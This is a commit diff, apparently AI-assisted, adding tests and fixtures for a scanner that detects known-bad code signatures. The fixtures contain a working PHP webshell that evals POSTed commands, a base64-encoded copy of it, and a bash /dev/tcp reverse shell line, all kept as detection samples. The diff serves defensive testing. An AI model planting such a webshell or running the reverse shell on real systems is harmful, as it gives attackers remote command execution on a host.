feat(llm-security): add SIG signature scanner with decode-pipeline matching
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01V3s6WnubSSrFjAQTLQdVbG
This commit is contained in:
parent
75aeeeee68
commit
bac6f6ff7d
7 changed files with 346 additions and 0 deletions
5
tests/fixtures/signature-scan/clean/notes.md
vendored
Normal file
5
tests/fixtures/signature-scan/clean/notes.md
vendored
Normal file
|
|
@ -0,0 +1,5 @@
|
|||
# Shell Safety Notes
|
||||
|
||||
This guide explains how to use your shell safely: prefer quoting variables,
|
||||
avoid running scripts you did not write, and review any command before you
|
||||
execute it. Nothing here runs code.
|
||||
3
tests/fixtures/signature-scan/poisoned/revshell.sh
vendored
Normal file
3
tests/fixtures/signature-scan/poisoned/revshell.sh
vendored
Normal file
|
|
@ -0,0 +1,3 @@
|
|||
#!/bin/sh
|
||||
# Reverse shell test fixture — never executed.
|
||||
bash -i >& /dev/tcp/10.0.0.1/4444 0>&1
|
||||
1
tests/fixtures/signature-scan/poisoned/webshell-b64.txt
vendored
Normal file
1
tests/fixtures/signature-scan/poisoned/webshell-b64.txt
vendored
Normal file
|
|
@ -0,0 +1 @@
|
|||
PD9waHAgQGV2YWwoJF9QT1NUWyJjbWQiXSk7ID8+
|
||||
4
tests/fixtures/signature-scan/poisoned/webshell.php
vendored
Normal file
4
tests/fixtures/signature-scan/poisoned/webshell.php
vendored
Normal file
|
|
@ -0,0 +1,4 @@
|
|||
<?php
|
||||
// Minimal classic PHP webshell (test fixture — never deployed).
|
||||
@eval($_POST['cmd']);
|
||||
?>
|
||||
126
tests/scanners/signature-scanner.test.mjs
Normal file
126
tests/scanners/signature-scanner.test.mjs
Normal file
|
|
@ -0,0 +1,126 @@
|
|||
// signature-scanner.test.mjs — Tests for the SIG known-bad-identity scanner.
|
||||
// Fixtures in tests/fixtures/signature-scan/:
|
||||
// - clean/ : benign prose that merely mentions "shell" (0 findings expected)
|
||||
// - poisoned/ : a PHP webshell, a base64-wrapped copy of it (decode-pipeline
|
||||
// differentiator), and a /dev/tcp reverse shell
|
||||
|
||||
import { describe, it, beforeEach } from 'node:test';
|
||||
import assert from 'node:assert/strict';
|
||||
import { resolve, join } from 'node:path';
|
||||
import { fileURLToPath } from 'node:url';
|
||||
import { mkdtempSync, mkdirSync, writeFileSync, rmSync } from 'node:fs';
|
||||
import { tmpdir } from 'node:os';
|
||||
import { resetCounter } from '../../scanners/lib/output.mjs';
|
||||
import { discoverFiles } from '../../scanners/lib/file-discovery.mjs';
|
||||
import { scan } from '../../scanners/signature-scanner.mjs';
|
||||
|
||||
const __dirname = fileURLToPath(new URL('.', import.meta.url));
|
||||
const CLEAN_FIXTURE = resolve(__dirname, '../fixtures/signature-scan/clean');
|
||||
const POISONED_FIXTURE = resolve(__dirname, '../fixtures/signature-scan/poisoned');
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Clean — benign prose, no known-bad identity
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
describe('signature-scanner: clean', () => {
|
||||
let discovery;
|
||||
|
||||
beforeEach(async () => {
|
||||
resetCounter();
|
||||
discovery = await discoverFiles(CLEAN_FIXTURE);
|
||||
});
|
||||
|
||||
it('returns status ok', async () => {
|
||||
const result = await scan(CLEAN_FIXTURE, discovery);
|
||||
assert.equal(result.status, 'ok');
|
||||
});
|
||||
|
||||
it('produces 0 findings for benign prose mentioning "shell"', async () => {
|
||||
const result = await scan(CLEAN_FIXTURE, discovery);
|
||||
assert.equal(
|
||||
result.findings.length, 0,
|
||||
`Expected 0 findings, got ${result.findings.length}: ${result.findings.map(f => f.title).join('; ')}`,
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Poisoned — webshell + base64 variant (decode pipeline) + reverse shell
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
describe('signature-scanner: poisoned', () => {
|
||||
let discovery;
|
||||
|
||||
beforeEach(async () => {
|
||||
resetCounter();
|
||||
discovery = await discoverFiles(POISONED_FIXTURE);
|
||||
});
|
||||
|
||||
it('returns status ok', async () => {
|
||||
const result = await scan(POISONED_FIXTURE, discovery);
|
||||
assert.equal(result.status, 'ok');
|
||||
});
|
||||
|
||||
it('all findings carry DS-SIG- ids and scanner SIG', async () => {
|
||||
const result = await scan(POISONED_FIXTURE, discovery);
|
||||
const wrong = result.findings.filter(f => !f.id.startsWith('DS-SIG-') || f.scanner !== 'SIG');
|
||||
assert.equal(wrong.length, 0, `Wrong id/scanner: ${wrong.map(f => `${f.id}/${f.scanner}`).join(', ')}`);
|
||||
});
|
||||
|
||||
it('flags the raw PHP webshell', async () => {
|
||||
const result = await scan(POISONED_FIXTURE, discovery);
|
||||
const ws = result.findings.filter(f => f.file.includes('webshell.php'));
|
||||
assert.ok(ws.length >= 1, `Expected a webshell finding on webshell.php, got: ${result.findings.map(f => f.file).join('; ')}`);
|
||||
assert.ok(ws.some(f => /webshell/i.test(f.title) || /webshell/i.test(f.description)), 'finding should name the webshell family');
|
||||
});
|
||||
|
||||
it('flags the base64-wrapped webshell via the decode pipeline', async () => {
|
||||
const result = await scan(POISONED_FIXTURE, discovery);
|
||||
const b64 = result.findings.find(f => f.file.includes('webshell-b64.txt'));
|
||||
assert.ok(b64, `Expected a finding on webshell-b64.txt (decode pipeline), got: ${result.findings.map(f => f.file).join('; ')}`);
|
||||
});
|
||||
|
||||
it('flags the /dev/tcp reverse shell', async () => {
|
||||
const result = await scan(POISONED_FIXTURE, discovery);
|
||||
const rev = result.findings.find(f => f.file.includes('revshell.sh'));
|
||||
assert.ok(rev, `Expected a reverse-shell finding on revshell.sh, got: ${result.findings.map(f => f.file).join('; ')}`);
|
||||
});
|
||||
|
||||
it('all findings have required fields', async () => {
|
||||
const result = await scan(POISONED_FIXTURE, discovery);
|
||||
assert.ok(result.findings.length >= 3, `expected >= 3 findings, got ${result.findings.length}`);
|
||||
for (const f of result.findings) {
|
||||
assert.ok(f.id, 'missing id');
|
||||
assert.equal(f.scanner, 'SIG', `${f.id} scanner should be SIG`);
|
||||
assert.ok(f.severity, `${f.id} missing severity`);
|
||||
assert.ok(f.title, `${f.id} missing title`);
|
||||
assert.ok(f.description, `${f.id} missing description`);
|
||||
assert.ok(f.file, `${f.id} missing file`);
|
||||
assert.ok(f.owasp, `${f.id} missing owasp`);
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Hygiene — must not flag its own ruleset / test / docs paths when scanning
|
||||
// a project root that contains them
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
describe('signature-scanner: path exclusions', () => {
|
||||
it('does not scan knowledge/, tests/, or docs/ paths', async () => {
|
||||
const dir = mkdtempSync(join(tmpdir(), 'sig-paths-'));
|
||||
try {
|
||||
for (const sub of ['knowledge', 'tests', 'docs']) {
|
||||
mkdirSync(join(dir, sub), { recursive: true });
|
||||
// A file that WOULD match a webshell signature, but lives in an excluded dir.
|
||||
writeFileSync(join(dir, sub, 'sample.php'), "<?php @eval($_POST['x']); ?>\n");
|
||||
}
|
||||
resetCounter();
|
||||
const discovery = await discoverFiles(dir);
|
||||
const result = await scan(dir, discovery);
|
||||
assert.equal(result.findings.length, 0, `excluded dirs should yield 0 findings, got ${result.findings.map(f => f.file).join('; ')}`);
|
||||
} finally {
|
||||
rmSync(dir, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
});
|
||||
Loading…
Add table
Add a link
Reference in a new issue